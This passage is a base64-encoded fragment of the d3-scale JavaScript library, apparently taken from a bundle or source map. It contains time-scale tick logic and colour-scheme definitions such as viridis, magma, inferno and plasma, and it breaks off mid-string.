ZU51bWJlciksXG4gICAgICAgIGludmVydCA9IHNjYWxlLmludmVydCxcbiAgICAgICAgZG9tYWluID0gc2NhbGUuZG9tYWluO1xuXG4gICAgdmFyIGZvcm1hdE1pbGxpc2Vjb25kID0gZm9ybWF0KFwiLiVMXCIpLFxuICAgICAgICBmb3JtYXRTZWNvbmQgPSBmb3JtYXQoXCI6JVNcIiksXG4gICAgICAgIGZvcm1hdE1pbnV0ZSA9IGZvcm1hdChcIiVJOiVNXCIpLFxuICAgICAgICBmb3JtYXRIb3VyID0gZm9ybWF0KFwiJUkgJXBcIiksXG4gICAgICAgIGZvcm1hdERheSA9IGZvcm1hdChcIiVhICVkXCIpLFxuICAgICAgICBmb3JtYXRXZWVrID0gZm9ybWF0KFwiJWIgJWRcIiksXG4gICAgICAgIGZvcm1hdE1vbnRoID0gZm9ybWF0KFwiJUJcIiksXG4gICAgICAgIGZvcm1hdFllYXIgPSBmb3JtYXQoXCIlWVwiKTtcblxuICAgIHZhciB0aWNrSW50ZXJ2YWxzID0gW1xuICAgICAgW3NlY29uZCwgIDEsICAgICAgZHVyYXRpb25TZWNvbmRdLFxuICAgICAgW3NlY29uZCwgIDUsICA1ICogZHVyYXRpb25TZWNvbmRdLFxuICAgICAgW3NlY29uZCwgMTUsIDE1ICogZHVyYXRpb25TZWNvbmRdLFxuICAgICAgW3NlY29uZCwgMzAsIDMwICogZHVyYXRpb25TZWNvbmRdLFxuICAgICAgW21pbnV0ZSwgIDEsICAgICAgZHVyYXRpb25NaW51dGVdLFxuICAgICAgW21pbnV0ZSwgIDUsICA1ICogZHVyYXRpb25NaW51dGVdLFxuICAgICAgW21pbnV0ZSwgMTUsIDE1ICogZHVyYXRpb25NaW51dGVdLFxuICAgICAgW21pbnV0ZSwgMzAsIDMwICogZHVyYXRpb25NaW51dGVdLFxuICAgICAgWyAgaG91ciwgIDEsICAgICAgZHVyYXRpb25Ib3VyICBdLFxuICAgICAgWyAgaG91ciwgIDMsICAzICogZHVyYXRpb25Ib3VyICBdLFxuICAgICAgWyAgaG91ciwgIDYsICA2ICogZHVyYXRpb25Ib3VyICBdLFxuICAgICAgWyAgaG91ciwgMTIsIDEyICogZHVyYXRpb25Ib3VyICBdLFxuICAgICAgWyAgIGRheSwgIDEsICAgICAgZHVyYXRpb25EYXkgICBdLFxuICAgICAgWyAgIGRheSwgIDIsICAyICogZHVyYXRpb25EYXkgICBdLFxuICAgICAgWyAgd2VlaywgIDEsICAgICAgZHVyYXRpb25XZWVrICBdLFxuICAgICAgWyBtb250aCwgIDEsICAgICAgZHVyYXRpb25Nb250aCBdLFxuICAgICAgWyBtb250aCwgIDMsICAzICogZHVyYXRpb25Nb250aCBdLFxuICAgICAgWyAgeWVhciwgIDEsICAgICAgZHVyYXRpb25ZZWFyICBdXG4gICAgXTtcblxuICAgIGZ1bmN0aW9uIHRpY2tGb3JtYXQoZGF0ZSkge1xuICAgICAgcmV0dXJuIChzZWNvbmQoZGF0ZSkgPCBkYXRlID8gZm9ybWF0TWlsbGlzZWNvbmRcbiAgICAgICAgICA6IG1pbnV0ZShkYXRlKSA8IGRhdGUgPyBmb3JtYXRTZWNvbmRcbiAgICAgICAgICA6IGhvdXIoZGF0ZSkgPCBkYXRlID8gZm9ybWF0TWludXRlXG4gICAgICAgICAgOiBkYXkoZGF0ZSkgPCBkYXRlID8gZm9ybWF0SG91clxuICAgICAgICAgIDogbW9udGgoZGF0ZSkgPCBkYXRlID8gKHdlZWsoZGF0ZSkgPCBkYXRlID8gZm9ybWF0RGF5IDogZm9ybWF0V2VlaylcbiAgICAgICAgICA6IHllYXIoZGF0ZSkgPCBkYXRlID8gZm9ybWF0TW9udGhcbiAgICAgICAgICA6IGZvcm1hdFllYXIpKGRhdGUpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHRpY2tJbnRlcnZhbChpbnRlcnZhbCwgc3RhcnQsIHN0b3AsIHN0ZXApIHtcbiAgICAgIGlmIChpbnRlcnZhbCA9PSBudWxsKSBpbnRlcnZhbCA9IDEwO1xuXG4gICAgICAvLyBJZiBhIGRlc2lyZWQgdGljayBjb3VudCBpcyBzcGVjaWZpZWQsIHBpY2sgYSByZWFzb25hYmxlIHRpY2sgaW50ZXJ2YWxcbiAgICAgIC8vIGJhc2VkIG9uIHRoZSBleHRlbnQgb2YgdGhlIGRvbWFpbiBhbmQgYSByb3VnaCBlc3RpbWF0ZSBvZiB0aWNrIHNpemUuXG4gICAgICAvLyBPdGhlcndpc2UsIGFzc3VtZSBpbnRlcnZhbCBpcyBhbHJlYWR5IGEgdGltZSBpbnRlcnZhbCBhbmQgdXNlIGl0LlxuICAgICAgaWYgKHR5cGVvZiBpbnRlcnZhbCA9PT0gXCJudW1iZXJcIikge1xuICAgICAgICB2YXIgdGFyZ2V0ID0gTWF0aC5hYnMoc3RvcCAtIHN0YXJ0KSAvIGludGVydmFsLFxuICAgICAgICAgICAgaSA9IGQzQXJyYXkuYmlzZWN0b3IoZnVuY3Rpb24oaSkgeyByZXR1cm4gaVsyXTsgfSkucmlnaHQodGlja0ludGVydmFscywgdGFyZ2V0KTtcbiAgICAgICAgaWYgKGkgPT09IHRpY2tJbnRlcnZhbHMubGVuZ3RoKSB7XG4gICAgICAgICAgc3RlcCA9IGQzQXJyYXkudGlja1N0ZXAoc3RhcnQgLyBkdXJhdGlvblllYXIsIHN0b3AgLyBkdXJhdGlvblllYXIsIGludGVydmFsKTtcbiAgICAgICAgICBpbnRlcnZhbCA9IHllYXI7XG4gICAgICAgIH0gZWxzZSBpZiAoaSkge1xuICAgICAgICAgIGkgPSB0aWNrSW50ZXJ2YWxzW3RhcmdldCAvIHRpY2tJbnRlcnZhbHNbaSAtIDFdWzJdIDwgdGlja0ludGVydmFsc1tpXVsyXSAvIHRhcmdldCA/IGkgLSAxIDogaV07XG4gICAgICAgICAgc3RlcCA9IGlbMV07XG4gICAgICAgICAgaW50ZXJ2YWwgPSBpWzBdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHN0ZXAgPSBkM0FycmF5LnRpY2tTdGVwKHN0YXJ0LCBzdG9wLCBpbnRlcnZhbCk7XG4gICAgICAgICAgaW50ZXJ2YWwgPSBtaWxsaXNlY29uZDtcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICByZXR1cm4gc3RlcCA9PSBudWxsID8gaW50ZXJ2YWwgOiBpbnRlcnZhbC5ldmVyeShzdGVwKTtcbiAgICB9XG5cbiAgICBzY2FsZS5pbnZlcnQgPSBmdW5jdGlvbih5KSB7XG4gICAgICByZXR1cm4gbmV3IERhdGUoaW52ZXJ0KHkpKTtcbiAgICB9O1xuXG4gICAgc2NhbGUuZG9tYWluID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyBkb21haW4obWFwJDEuY2FsbChfLCBudW1iZXIkMSkpIDogZG9tYWluKCkubWFwKGRhdGUpO1xuICAgIH07XG5cbiAgICBzY2FsZS50aWNrcyA9IGZ1bmN0aW9uKGludGVydmFsLCBzdGVwKSB7XG4gICAgICB2YXIgZCA9IGRvbWFpbigpLFxuICAgICAgICAgIHQwID0gZFswXSxcbiAgICAgICAgICB0MSA9IGRbZC5sZW5ndGggLSAxXSxcbiAgICAgICAgICByID0gdDEgPCB0MCxcbiAgICAgICAgICB0O1xuICAgICAgaWYgKHIpIHQgPSB0MCwgdDAgPSB0MSwgdDEgPSB0O1xuICAgICAgdCA9IHRpY2tJbnRlcnZhbChpbnRlcnZhbCwgdDAsIHQxLCBzdGVwKTtcbiAgICAgIHQgPSB0ID8gdC5yYW5nZSh0MCwgdDEgKyAxKSA6IFtdOyAvLyBpbmNsdXNpdmUgc3RvcFxuICAgICAgcmV0dXJuIHIgPyB0LnJldmVyc2UoKSA6IHQ7XG4gICAgfTtcblxuICAgIHNjYWxlLnRpY2tGb3JtYXQgPSBmdW5jdGlvbihjb3VudCwgc3BlY2lmaWVyKSB7XG4gICAgICByZXR1cm4gc3BlY2lmaWVyID09IG51bGwgPyB0aWNrRm9ybWF0IDogZm9ybWF0KHNwZWNpZmllcik7XG4gICAgfTtcblxuICAgIHNjYWxlLm5pY2UgPSBmdW5jdGlvbihpbnRlcnZhbCwgc3RlcCkge1xuICAgICAgdmFyIGQgPSBkb21haW4oKTtcbiAgICAgIHJldHVybiAoaW50ZXJ2YWwgPSB0aWNrSW50ZXJ2YWwoaW50ZXJ2YWwsIGRbMF0sIGRbZC5sZW5ndGggLSAxXSwgc3RlcCkpXG4gICAgICAgICAgPyBkb21haW4obmljZShkLCBpbnRlcnZhbCkpXG4gICAgICAgICAgOiBzY2FsZTtcbiAgICB9O1xuXG4gICAgc2NhbGUuY29weSA9IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIGNvcHkoc2NhbGUsIGNhbGVuZGFyKHllYXIsIG1vbnRoLCB3ZWVrLCBkYXksIGhvdXIsIG1pbnV0ZSwgc2Vjb25kLCBtaWxsaXNlY29uZCwgZm9ybWF0KSk7XG4gICAgfTtcblxuICAgIHJldHVybiBzY2FsZTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHRpbWUoKSB7XG4gICAgcmV0dXJuIGNhbGVuZGFyKGQzVGltZS50aW1lWWVhciwgZDNUaW1lLnRpbWVNb250aCwgZDNUaW1lLnRpbWVXZWVrLCBkM1RpbWUudGltZURheSwgZDNUaW1lLnRpbWVIb3VyLCBkM1RpbWUudGltZU1pbnV0ZSwgZDNUaW1lLnRpbWVTZWNvbmQsIGQzVGltZS50aW1lTWlsbGlzZWNvbmQsIGQzVGltZUZvcm1hdC50aW1lRm9ybWF0KS5kb21haW4oW25ldyBEYXRlKDIwMDAsIDAsIDEpLCBuZXcgRGF0ZSgyMDAwLCAwLCAyKV0pO1xuICB9XG5cbiAgZnVuY3Rpb24gdXRjVGltZSgpIHtcbiAgICByZXR1cm4gY2FsZW5kYXIoZDNUaW1lLnV0Y1llYXIsIGQzVGltZS51dGNNb250aCwgZDNUaW1lLnV0Y1dlZWssIGQzVGltZS51dGNEYXksIGQzVGltZS51dGNIb3VyLCBkM1RpbWUudXRjTWludXRlLCBkM1RpbWUudXRjU2Vjb25kLCBkM1RpbWUudXRjTWlsbGlzZWNvbmQsIGQzVGltZUZvcm1hdC51dGNGb3JtYXQpLmRvbWFpbihbRGF0ZS5VVEMoMjAwMCwgMCwgMSksIERhdGUuVVRDKDIwMDAsIDAsIDIpXSk7XG4gIH1cblxuICBmdW5jdGlvbiBjb2xvcnMocykge1xuICAgIHJldHVybiBzLm1hdGNoKC8uezZ9L2cpLm1hcChmdW5jdGlvbih4KSB7XG4gICAgICByZXR1cm4gXCIjXCIgKyB4O1xuICAgIH0pO1xuICB9XG5cbiAgdmFyIGNhdGVnb3J5MTAgPSBjb2xvcnMoXCIxZjc3YjRmZjdmMGUyY2EwMmNkNjI3Mjg5NDY3YmQ4YzU2NGJlMzc3YzI3ZjdmN2ZiY2JkMjIxN2JlY2ZcIik7XG5cbiAgdmFyIGNhdGVnb3J5MjBiID0gY29sb3JzKFwiMzkzYjc5NTI1NGEzNmI2ZWNmOWM5ZWRlNjM3OTM5OGNhMjUyYjVjZjZiY2VkYjljOGM2ZDMxYmQ5ZTM5ZTdiYTUyZTdjYjk0ODQzYzM5YWQ0OTRhZDY2MTZiZTc5NjljN2I0MTczYTU1MTk0Y2U2ZGJkZGU5ZWQ2XCIpO1xuXG4gIHZhciBjYXRlZ29yeTIwYyA9IGNvbG9ycyhcIjMxODJiZDZiYWVkNjllY2FlMWM2ZGJlZmU2NTUwZGZkOGQzY2ZkYWU2YmZkZDBhMjMxYTM1NDc0YzQ3NmExZDk5YmM3ZTljMDc1NmJiMTllOWFjOGJjYmRkY2RhZGFlYjYzNjM2Mzk2OTY5NmJkYmRiZGQ5ZDlkOVwiKTtcblxuICB2YXIgY2F0ZWdvcnkyMCA9IGNvbG9ycyhcIjFmNzdiNGFlYzdlOGZmN2YwZWZmYmI3ODJjYTAyYzk4ZGY4YWQ2MjcyOGZmOTg5Njk0NjdiZGM1YjBkNThjNTY0YmM0OWM5NGUzNzdjMmY3YjZkMjdmN2Y3ZmM3YzdjN2JjYmQyMmRiZGI4ZDE3YmVjZjllZGFlNVwiKTtcblxuICB2YXIgY3ViZWhlbGl4JDEgPSBkM0ludGVycG9sYXRlLmludGVycG9sYXRlQ3ViZWhlbGl4TG9uZyhkM0NvbG9yLmN1YmVoZWxpeCgzMDAsIDAuNSwgMC4wKSwgZDNDb2xvci5jdWJlaGVsaXgoLTI0MCwgMC41LCAxLjApKTtcblxuICB2YXIgd2FybSA9IGQzSW50ZXJwb2xhdGUuaW50ZXJwb2xhdGVDdWJlaGVsaXhMb25nKGQzQ29sb3IuY3ViZWhlbGl4KC0xMDAsIDAuNzUsIDAuMzUpLCBkM0NvbG9yLmN1YmVoZWxpeCg4MCwgMS41MCwgMC44KSk7XG5cbiAgdmFyIGNvb2wgPSBkM0ludGVycG9sYXRlLmludGVycG9sYXRlQ3ViZWhlbGl4TG9uZyhkM0NvbG9yLmN1YmVoZWxpeCgyNjAsIDAuNzUsIDAuMzUpLCBkM0NvbG9yLmN1YmVoZWxpeCg4MCwgMS41MCwgMC44KSk7XG5cbiAgdmFyIHJhaW5ib3cgPSBkM0NvbG9yLmN1YmVoZWxpeCgpO1xuXG4gIGZ1bmN0aW9uIHJhaW5ib3ckMSh0KSB7XG4gICAgaWYgKHQgPCAwIHx8IHQgPiAxKSB0IC09IE1hdGguZmxvb3IodCk7XG4gICAgdmFyIHRzID0gTWF0aC5hYnModCAtIDAuNSk7XG4gICAgcmFpbmJvdy5oID0gMzYwICogdCAtIDEwMDtcbiAgICByYWluYm93LnMgPSAxLjUgLSAxLjUgKiB0cztcbiAgICByYWluYm93LmwgPSAwLjggLSAwLjkgKiB0cztcbiAgICByZXR1cm4gcmFpbmJvdyArIFwiXCI7XG4gIH1cblxuICBmdW5jdGlvbiByYW1wKHJhbmdlKSB7XG4gICAgdmFyIG4gPSByYW5nZS5sZW5ndGg7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICAgIHJldHVybiByYW5nZVtNYXRoLm1heCgwLCBNYXRoLm1pbihuIC0gMSwgTWF0aC5mbG9vcih0ICogbikpKV07XG4gICAgfTtcbiAgfVxuXG4gIHZhciB2aXJpZGlzID0gcmFtcChjb2xvcnMoXCI0NDAxNTQ0NDAyNTY0NTA0NTc0NTA1NTk0NjA3NWE0NjA4NWM0NjBhNWQ0NjBiNWU0NzBkNjA0NzBlNjE0NzEwNjM0NzExNjQ0NzEzNjU0ODE0Njc0ODE2Njg0ODE3Njk0ODE4NmE0ODFhNmM0ODFiNmQ0ODFjNmU0ODFkNmY0ODFmNzA0ODIwNzE0ODIxNzM0ODIzNzQ0ODI0NzU0ODI1NzY0ODI2Nzc0ODI4Nzg0ODI5Nzk0NzJhN2E0NzJjN2E0NzJkN2I0NzJlN2M0NzJmN2Q0NjMwN2U0NjMyN2U0NjMzN2Y0NjM0ODA0NTM1ODE0NTM3ODE0NTM4ODI0NDM5ODM0NDNhODM0NDNiODQ0MzNkODQ0MzNlODU0MjNmODU0MjQwODY0MjQxODY0MTQyODc0MTQ0ODc0MDQ1ODg0MDQ2ODgzZjQ3ODgzZjQ4ODkzZTQ5ODkzZTRhODkzZTRjOGEzZDRkOGEzZDRlOGEzYzRmOGEzYzUwOGIzYjUxOGIzYjUyOGIzYTUzOGIzYTU0OGMzOTU1OGMzOTU2OGMzODU4OGMzODU5OGMzNzVhOGMzNzViOGQzNjVjOGQzNjVkOGQzNTVlOGQzNTVmOGQzNDYwOGQzNDYxOGQzMzYyOGQzMzYzOGQzMjY0OGUzMjY1OGUzMTY2OGUzMTY3OGUzMTY4OGUzMDY5OGUzMDZhOGUyZjZiOGUyZjZjOGUyZTZkOGUyZTZlOGUyZTZmOGUyZDcwOGUyZDcxOGUyYzcxOGUyYzcyOGUyYzczOGUyYjc0OGUyYjc1OGUyYTc2OGUyYTc3OGUyYTc4OGUyOTc5OGUyOTdhOGUyOTdiOGUyODdjOGUyODdkOGUyNzdlOGUyNzdmOGUyNzgwOGUyNjgxOGUyNjgyOGUyNjgyOGUyNTgzOGUyNTg0OGUyNTg1OGUyNDg2OGUyNDg3OGUyMzg4OGUyMzg5OGUyMzhhOGQyMjhiOGQyMjhjOGQyMjhkOGQyMThlOGQyMThmOGQyMTkwOGQyMTkxOGMyMDkyOGMyMDkyOGMyMDkzOGMxZjk0OGMxZjk1OGIxZjk2OGIxZjk3OGIxZjk4OGIxZjk5OGExZjlhOGExZTliOGExZTljODkxZTlkODkxZjllODkxZjlmODgxZmEwODgxZmExODgxZmExODcxZmEyODcyMGEzODYyMGE0ODYyMWE1ODUyMWE2ODUyMmE3ODUyMmE4ODQyM2E5ODMyNGFhODMyNWFiODIyNWFjODIyNmFkODEyN2FkODEyOGFlODAyOWFmN2YyYWIwN2YyY2IxN2UyZGIyN2QyZWIzN2MyZmI0N2MzMWI1N2IzMmI2N2EzNGI2NzkzNWI3NzkzN2I4NzgzOGI5NzczYWJhNzYzYmJiNzUzZGJjNzQzZmJjNzM0MGJkNzI0MmJlNzE0NGJmNzA0NmMwNmY0OGMxNmU0YWMxNmQ0Y2MyNmM0ZWMzNmI1MGM0NmE1MmM1Njk1NGM1Njg1NmM2Njc1OGM3NjU1YWM4NjQ1Y2M4NjM1ZWM5NjI2MGNhNjA2M2NiNWY2NWNiNWU2N2NjNWM2OWNkNWI2Y2NkNWE2ZWNlNTg3MGNmNTc3M2QwNTY3NWQwNTQ3N2QxNTM3YWQxNTE3Y2QyNTA3ZmQzNGU4MWQzNGQ4NGQ0NGI4NmQ1NDk4OWQ1NDg4YmQ2NDY4ZWQ2NDU5MGQ3NDM5M2Q3NDE5NWQ4NDA5OGQ4M2U5YmQ5M2M5ZGQ5M2JhMGRhMzlhMmRhMzdhNWRiMzZhOGRiMzRhYWRjMzJhZGRjMzBiMGRkMmZiMmRkMmRiNWRlMmJiOGRlMjliYWRlMjhiZGRmMjZjMGRmMjVjMmRmMjNjNWUwMjFjOGUwMjBjYWUxMWZjZGUxMWRkMGUxMWNkMmUyMWJkNWUyMWFkOGUyMTlkYWUzMTlkZGUzMThkZmUzMThlMmU0MThlNWU0MTllN2U0MTllYWU1MWFlY2U1MWJlZmU1MWNmMWU1MWRmNGU2MWVmNmU2MjBmOGU2MjFmYmU3MjNmZGU3MjVcIikpO1xuXG4gIHZhciBtYWdtYSA9IHJhbXAoY29sb3JzKFwiMDAwMDA0MDEwMDA1MDEwMTA2MDEwMTA4MDIwMTA5MDIwMjBiMDIwMjBkMDMwMzBmMDMwMzEyMDQwNDE0MDUwNDE2MDYwNTE4MDYwNTFhMDcwNjFjMDgwNzFlMDkwNzIwMGEwODIyMGIwOTI0MGMwOTI2MGQwYTI5MGUwYjJiMTAwYjJkMTEwYzJmMTIwZDMxMTMwZDM0MTQwZTM2MTUwZTM4MTYwZjNiMTgwZjNkMTkxMDNmMWExMDQyMWMxMDQ0MWQxMTQ3MWUxMTQ5MjAxMTRiMjExMTRlMjIxMTUwMjQxMjUzMjUxMjU1MjcxMjU4MjkxMTVhMmExMTVjMmMxMTVmMmQxMTYxMmYxMTYzMzExMTY1MzMxMDY3MzQxMDY5MzYxMDZiMzgxMDZjMzkwZjZlM2IwZjcwM2QwZjcxM2YwZjcyNDAwZjc0NDIwZjc1NDQwZjc2NDUxMDc3NDcxMDc4NDkxMDc4NGExMDc5NGMxMTdhNGUxMTdiNGYxMjdiNTExMjdjNTIxMzdjNTQxMzdkNTYxNDdkNTcxNTdlNTkxNTdlNWExNjdlNWMxNjdmNWQxNzdmNWYxODdmNjAxODgwNjIxOTgwNjQxYTgwNjUxYTgwNjcxYjgwNjgxYzgxNmExYzgxNmIxZDgxNmQxZDgxNmUxZTgxNzAxZjgxNzIxZjgxNzMyMDgxNzUyMTgxNzYyMTgxNzgyMjgxNzkyMjgyN2IyMzgyN2MyMzgyN2UyNDgyODAyNTgyODEyNTgxODMyNjgxODQyNjgxODYyNzgxODgyNzgxODkyODgxOGIyOTgxOGMyOTgxOGUyYTgxOTAyYTgxOTEyYjgxOTMyYjgwOTQyYzgwOTYyYzgwOTgyZDgwOTkyZDgwOWIyZTdmOWMyZTdmOWUyZjdmYTAyZjdmYTEzMDdlYTMzMDdlYTUzMTdlYTYzMTdkYTgzMjdkYWEzMzdkYWIzMzdjYWQzNDdjYWUzNDdiYjAzNTdiYjIzNTdiYjMzNjdhYjUzNjdhYjczNzc5YjgzNzc5YmEzODc4YmMzOTc4YmQzOTc3YmYzYTc3YzAzYTc2YzIzYjc1YzQzYzc1YzUzYzc0YzczZDczYzgzZTczY2EzZTcyY2MzZjcxY2Q0MDcxY2Y0MDcwZDA0MTZmZDI0MjZmZDM0MzZlZDU0NDZkZDY0NTZjZDg0NTZjZDk0NjZiZGI0NzZhZGM0ODY5ZGU0OTY4ZGY0YTY4ZTA0YzY3ZTI0ZDY2ZTM0ZTY1ZTQ0ZjY0ZTU1MDY0ZTc1MjYzZTg1MzYyZTk1NDYyZWE1NjYxZWI1NzYwZWM1ODYwZWQ1YTVmZWU1YjVlZWY1ZDVlZjA1ZjVlZjE2MDVkZjI2MjVkZjI2NDVjZjM2NTVjZjQ2NzVjZjQ2OTVjZjU2YjVjZjY2YzVjZjY2ZTVjZjc3MDVjZjc3MjVjZjg3NDVjZjg3NjVjZjk3ODVkZjk3OTVkZjk3YjVkZmE3ZDVlZmE3ZjVlZmE4MTVmZmI4MzVmZmI4NTYwZmI4NzYxZmM4OTYxZmM4YTYyZmM4YzYzZmM4ZTY0ZmM5MDY1ZmQ5MjY2ZmQ5NDY3ZmQ5NjY4ZmQ5ODY5ZmQ5YTZhZmQ5YjZiZmU5ZDZjZmU5ZjZkZmVhMTZlZmVhMzZmZmVhNTcxZmVhNzcyZmVhOTczZmVhYTc0ZmVhYzc2ZmVhZTc3ZmViMDc4ZmViMjdhZmViNDdiZmViNjdjZmViNzdlZmViOTdmZmViYjgxZmViZDgyZmViZjg0ZmVjMTg1ZmVjMjg3ZmVjNDg4ZmVjNjhhZmVjODhjZmVjYThkZmVjYzhmZmVjZDkwZmVjZjkyZmVkMTk0ZmVkMzk1ZmVkNTk3ZmVkNzk5ZmVkODlhZmRkYTljZmRkYzllZmRkZWEwZmRlMGExZmRlMmEzZmRlM2E1ZmRlNWE3ZmRlN2E5ZmRlOWFhZmRlYmFjZmNlY2FlZmNlZWIwZmNmMGIyZmNmMmI0ZmNmNGI2ZmNmNmI4ZmNmN2I5ZmNmOWJiZmNmYmJkZmNmZGJmXCIpKTtcblxuICB2YXIgaW5mZXJubyA9IHJhbXAoY29sb3JzKFwiMDAwMDA0MDEwMDA1MDEwMTA2MDEwMTA4MDIwMTBhMDIwMjBjMDIwMjBlMDMwMjEwMDQwMzEyMDQwMzE0MDUwNDE3MDYwNDE5MDcwNTFiMDgwNTFkMDkwNjFmMGEwNzIyMGIwNzI0MGMwODI2MGQwODI5MGUwOTJiMTAwOTJkMTEwYTMwMTIwYTMyMTQwYjM0MTUwYjM3MTYwYjM5MTgwYzNjMTkwYzNlMWIwYzQxMWMwYzQzMWUwYzQ1MWYwYzQ4MjEwYzRhMjMwYzRjMjQwYzRmMjYwYzUxMjgwYjUzMjkwYjU1MmIwYjU3MmQwYjU5MmYwYTViMzEwYTVjMzIwYTVlMzQwYTVmMzYwOTYxMzgwOTYyMzkwOTYzM2IwOTY0M2QwOTY1M2UwOTY2NDAwYTY3NDIwYTY4NDQwYTY4NDUwYTY5NDcwYjZhNDkwYjZhNGEwYzZiNGMwYzZiNGQwZDZjNGYwZDZjNTEwZTZjNTIwZTZkNTQwZjZkNTUwZjZkNTcxMDZlNTkxMDZlNWExMTZlNWMxMjZlNWQxMjZlNWYxMzZlNjExMzZlNjIxNDZlNjQxNTZlNjUxNTZlNjcxNjZlNjkxNjZlNmExNzZlNmMxODZlNmQxODZlNmYxOTZlNzExOTZlNzIxYTZlNzQxYTZlNzUxYjZlNzcxYzZkNzgxYzZkN2ExZDZkN2MxZDZkN2QxZTZkN2YxZTZjODAxZjZjODIyMDZjODQyMDZiODUyMTZiODcyMTZiODgyMjZhOGEyMjZhOGMyMzY5OGQyMzY5OGYyNDY5OTAyNTY4OTIyNTY4OTMyNjY3OTUyNjY3OTcyNzY2OTgyNzY2OWEyODY1OWIyOTY0OWQyOTY0OWYyYTYzYTAyYTYzYTIyYjYyYTMyYzYxYTUyYzYwYTYyZDYwYTgyZTVmYTkyZTVlYWIyZjVlYWQzMDVkYWUzMDVjYjAzMTViYjEzMjVhYjMzMjVhYjQzMzU5YjYzNDU4YjczNTU3YjkzNTU2YmEzNjU1YmMzNzU0YmQzODUzYmYzOTUyYzAzYTUxYzEzYTUwYzMzYjRmYzQzYzRlYzYzZDRkYzczZTRjYzgzZjRiY2E0MDRhY2I0MTQ5Y2M0MjQ4Y2U0MzQ3Y2Y0NDQ2ZDA0NTQ1ZDI0NjQ0ZDM0NzQzZDQ0ODQyZDU0YTQxZDc0YjNmZDg0YzNlZDk0ZDNkZGE0ZTNjZGI1MDNiZGQ1MTNhZGU1MjM4ZGY1MzM3ZTA1NTM2ZTE1NjM1ZTI1NzM0ZTM1OTMzZTQ1YTMxZTU1YzMwZTY1ZDJmZTc1ZTJlZTg2MDJkZTk2MTJiZWE2MzJhZWI2NDI5ZWI2NjI4ZWM2NzI2ZWQ2OTI1ZWU2YTI0ZWY2YzIzZWY2ZTIxZjA2ZjIwZjE3MTFmZjE3MzFkZjI3NDFjZjM3NjFiZjM3ODE5ZjQ3OTE4ZjU3YjE3ZjU3ZDE1ZjY3ZTE0ZjY4MDEzZjc4MjEyZjc4NDEwZjg4NTBmZjg4NzBlZjg4OTBjZjk4YjBiZjk4YzBhZjk4ZTA5ZmE5MDA4ZmE5MjA3ZmE5NDA3ZmI5NjA2ZmI5NzA2ZmI5OTA2ZmI5YjA2ZmI5ZDA3ZmM5ZjA3ZmNhMTA4ZmNhMzA5ZmNhNTBhZmNhNjBjZmNhODBkZmNhYTBmZmNhYzExZmNhZTEyZmNiMDE0ZmNiMjE2ZmNiNDE4ZmJiNjFhZmJiODFkZmJiYTFmZmJiYzIxZmJiZTIzZmFjMDI2ZmFjMjI4ZmFjNDJhZmFjNjJkZjljNzJmZjljOTMyZjljYjM1ZjhjZDM3ZjhjZjNhZjdkMTNkZjdkMzQwZjZkNTQzZjZkNzQ2ZjVkOTQ5ZjVkYjRjZjRkZDRmZjRkZjUzZjRlMTU2ZjNlMzVhZjNlNTVkZjJlNjYxZjJlODY1ZjJlYTY5ZjFlYzZkZjFlZDcxZjFlZjc1ZjFmMTc5ZjJmMjdkZjJmNDgyZjNmNTg2ZjNmNjhhZjRmODhlZjVmOTkyZjZmYTk2ZjhmYjlhZjlmYzlkZmFmZGExZmNmZmE0XCIpKTtcblxuICB2YXIgcGxhc21hID0gcmFtcChjb2xvcnMoXCIwZDA4ODcxMDA3ODgxMzA3ODkxNjA3OGExOTA2OGMxYjA2OGQxZDA2OGUyMDA2OGYyMjA2OTAyNDA2OTEyNjA1OTEyODA1OTIyYTA1OTMyYzA1OTQyZTA1OTUyZjA1OTYzMTA1OTczMzA1OTczNTA0OTgzNzA0OTkzODA0OWEzYTA0OWEzYzA0OWIzZTA0OWMzZjA0OWM0MTA0OWQ0MzAzOWU0NDAzOWU0NjAzOWY0ODAzOWY0OTAzYTA0YjAzYTE0YzAyYTE0ZTAyYTI1MDAyYTI1MTAyYTM1MzAyYTM1NTAyYTQ1NjAxYTQ1ODAxYTQ1OTAxYTU1YjAxYTU1YzAxYTY1ZTAxYTY2MDAxYTY2MTAwYTc2MzAwYTc2NDAwYTc2NjAwYTc2NzAwYTg2OTAwYTg2YTAwYTg2YzAwYTg2ZTAwYTg2ZjAwYTg3MTAwYTg3MjAxYTg3NDAxYTg3NTAxYTg3NzAxYTg3ODAxYTg3YTAyYTg3YjAyYTg3ZDAzYTg3ZTAzYTg4MDA0YTg4MTA0YTc4MzA1YTc4NDA1YTc4NjA2YTY4NzA3YTY4ODA4YTY4YTA5YTU4YjBhYTU4ZDBiYTU4ZTBjYTQ4ZjBkYTQ5MTBlYTM5MjBmYTM5NDEwYTI5NTExYTE5NjEzYTE5ODE0YTA5OTE1OWY5YTE2OWY5YzE3OWU5ZDE4OWQ5ZTE5OWRhMDFhOWNhMTFiOWJhMjFkOWFhMzFlOWFhNTFmOTlhNjIwOThhNzIxOTdhODIyOTZhYTIzOTVhYjI0OTRhYzI2OTRhZDI3OTNhZTI4OTJiMDI5OTFiMTJhOTBiMjJiOGZiMzJjOGViNDJlOGRiNTJmOGNiNjMwOGJiNzMxOGFiODMyODliYTMzODhiYjM0ODhiYzM1ODdiZDM3ODZiZTM4ODViZjM5ODRjMDNhODNjMTNiODJjMjNjODFjMzNkODBjNDNlN2ZjNTQwN2VjNjQxN2RjNzQyN2NjODQzN2JjOTQ0N2FjYTQ1N2FjYjQ2NzljYzQ3NzhjYzQ5NzdjZDRhNzZjZTRiNzVjZjRjNzRkMDRkNzNkMTRlNzJkMjRmNzFkMzUxNzFkNDUyNzBkNTUzNmZkNTU0NmVkNjU1NmRkNzU2NmNkODU3NmJkOTU4NmFkYTVhNmFkYTViNjlkYjVjNjhkYzVkNjdkZDVlNjZkZTVmNjVkZTYxNjRkZjYyNjNlMDYzNjNlMTY0NjJlMjY1NjFlMjY2NjBlMzY4NWZlNDY5NWVlNTZhNWRlNTZiNWRlNjZjNWNlNzZlNWJlNzZmNWFlODcwNTllOTcxNThlOTcyNTdlYTc0NTdlYjc1NTZlYjc2NTVlYzc3NTRlZDc5NTNlZDdh